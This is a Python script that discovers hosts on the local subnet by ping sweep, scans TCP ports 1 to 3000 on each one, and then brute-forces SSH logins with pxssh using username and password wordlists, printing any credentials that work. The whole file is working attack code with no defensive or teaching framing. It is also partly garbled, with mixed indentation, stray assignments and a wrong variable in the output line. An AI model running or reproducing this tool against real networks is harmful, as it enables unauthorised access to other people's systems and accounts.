text: #!/usr/bin/env python
  import os
  import socket    
  import multiprocessing
  import subprocess
  import sys
  from datetime import datetime
  import pexpect
  import pxssh
  
  
  def pinger(job_q, results_q):
      """
      Do Ping
      :param job_q:
      :param results_q:
      :return:
      """
      DEVNULL = open(os.devnull, 'w')
      while True:
  
          ip = job_q.get()
  
          if ip is None:
              break
  
          try:
              subprocess.check_call(['ping', '-c1', ip],
                                    stdout=DEVNULL)
              results_q.put(ip)
          except:
              pass
  
  
  def get_my_ip():
      """
      Find my IP address
      :return:
      """
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      s.connect(("8.8.8.8", 80))
      ip = s.getsockname()[0]
      s.close()
      return ip
  
  
  def map_network(pool_size=255):
      """
      Maps the network
      :param pool_size: amount of parallel ping processes
      :return: list of valid ip addresses
      """
  
      ip_list = list()
  
      
      ip_parts = get_my_ip().split('.')
      base_ip = ip_parts[0] + '.' + ip_parts[1] + '.' + ip_parts[2] + '.'
  
  
      jobs = multiprocessing.Queue()
      results = multiprocessing.Queue()
  
      pool = [multiprocessing.Process(target=pinger, args=(jobs, results)) for i in range(pool_size)]
  
      for p in pool:
          p.start()
  
      # cue the ping processes
      for i in range(1, 255):
          jobs.put(base_ip + '{0}'.format(i))
  
      for p in pool:
          jobs.put(None)
  
      for p in pool:
          p.join()
  
      # collect the results
      while not results.empty():
          ip = results.get()
          ip_list.append(ip)
  
      return ip_list
  
  
  if __name__ == '__main__':
  
    
      lst = map_network()
      for x in range(len(lst)): 
        	print('')
   	print lst[x]
   	remoteServer    = lst[x]
   	remoteServerIP  = socket.gethostbyname(remoteServer)
   	t1 = datetime.now()
  
  
  
   	try:
       	 for port in range(1,3000):  
           	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
           	result = sock.connect_ex((remoteServerIP, port))
           	if result == 0:
              	 print "Port {}: 	 Open".format(port)
           	sock.close()
  
   	except socket.gaierror:
       	 print 'Hostname could not be resolved. Exiting'
       	 sys.exit()
  
   	except socket.error:
       	 print "Couldn't connect to server"
       	 sys.exit()
  
   	 t2 = datetime.now()
   	 total =  t2 - t1
   	 print 'Scanning Completed in: ', total
  
  with open("user.txt") as f:
  
      user= sorted(word for line in f for word_commas in line.split() for word in word_commas.split(",") if word)
  
  with open("password.txt") as f:
  
     pw = sorted(word for line in f for word_commas in line.split() for word in word_commas.split(",") if word)
  x=y=x=0
  for x in range(len(lst)):
  	for y in range(len(user)):
  		for z in range(len(pw)):
  			try:
      				s = pxssh.pxssh()
      				hostname = lst[x]
      				username = user[y]
      				password = pw[z]
      				s.login(hostname, username, password)
  				s.logout()
  				print lst[x]
  				print user[y]
  				print password[z]
  
  			except pxssh.ExceptionPxssh as e:
      				print("pxssh failed on login.")
      				print(e)
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  	
  